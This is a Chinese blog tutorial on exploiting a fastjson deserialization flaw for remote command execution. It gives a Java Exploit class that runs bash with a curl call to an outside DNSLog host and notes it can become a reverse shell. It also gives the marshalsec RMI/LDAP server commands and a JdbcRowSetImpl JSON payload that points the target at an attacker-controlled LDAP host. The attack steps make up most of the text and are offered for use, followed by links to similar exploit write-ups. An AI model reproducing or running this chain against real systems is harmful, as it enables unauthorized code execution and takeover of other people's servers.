fastjson 漏洞利用 命令执行
2020-08-18 10:48
183 查看
目录
如果你已经用DNSLog之类的工具,探测到了某个url有fastjson问题,那么接着可以试试能不能反弹shell,由于反弹shell步骤多,容易不成功,我就简化一下流程,改成执行命令,执行curl命令。
1. 准备一个Payload
import java.lang.Runtime; import java.lang.Process; public class Exploit { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } # 如果想反弹shell ,那么修改这一句就行了 String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"};
我一般在本地编辑,然后用
javac Exploit.java,得到Expoit.class ,上传公网服务器里,如果你vim刷得6,这些步骤完全可以在服务器上操作。
然后在将这个Expoit.class 上传到你到服务器上去。
2. 服务器上启动 rmi
在本地启动rmi服务器,这里推荐github上的一个项目marshalsec
https://github.com/mbechler/marshalsec
需要用maven进行生成jar包,进入marshalsec目录后,执行如下命令:
git clone https://github.com/mbechler/marshalsec.git cd marshalse mvn clean package -Dmaven.test.skip=true
之后使用过的是这个包 marshalsec-0.0.3-SNAPSHOT-all.jar,
可以移动到仍意目录都可以, 最好把Expoit.class和它放在同一个目录下。
在当前目录下,打开一个web服务器:
python -m SimpleHTTPServer 8000
然后启动rmi,
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit # 如果想反弹shell,加个端口就行了 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit 9999 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#Exploit 9999
如果命令执行成功,会出现如下监听情况
3. 向目标注入payload
可以用burp发包,也可以用脚本发包,都一样,
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://xx.xx.xx.xx:1099/Exploit\",\"autoCommit\":true}
然后去DNSlog看看有没有访问记录即可,没有记录都话,就比较难说了,可能网络问题、环境问题、步骤有问题、fastjson版本不是对应版本、java版本问题,这种就自己探索吧。
参考
相关文章推荐
- fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
- 利用Vulnhub复现漏洞 - Couchdb 任意命令执行漏洞(CVE-2017-12636)
- Fastjson 爆出远程代码执行高危漏洞,更新版本已修复
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
- Fastjson存在远程代码执行高危安全漏洞
- 利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)
- 网站安全加固之apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现
- 利用CouchDB未授权访问漏洞执行任意系统命令
- PHP如何防止黑客利用注入漏洞执行危险的命令
- 利用Vulnhub复现漏洞 - Electron WebPreferences 远程命令执行漏洞(CVE-2018-15685)
- 利用Vulnhub复现漏洞 - GhostScript 沙箱绕过(命令执行)漏洞(CVE-2019-6116)
- 利用Vulnhub复现漏洞 - Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238)
- 利用Vulnhub复现漏洞 - Jenkins远程命令执行漏洞(CVE-2018-1000861)
- 利用phar实行php反序列化命令执行漏洞复现
- Fastjson 爆出远程代码执行高危漏洞,更新版本已修复
- 利用Vulnhub复现漏洞 - Jmeter RMI 反序列化命令执行漏洞(CVE-2018-1297)
- Fastjson 爆出远程代码执行高危漏洞
- 利用Vulnhub复现漏洞 - ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境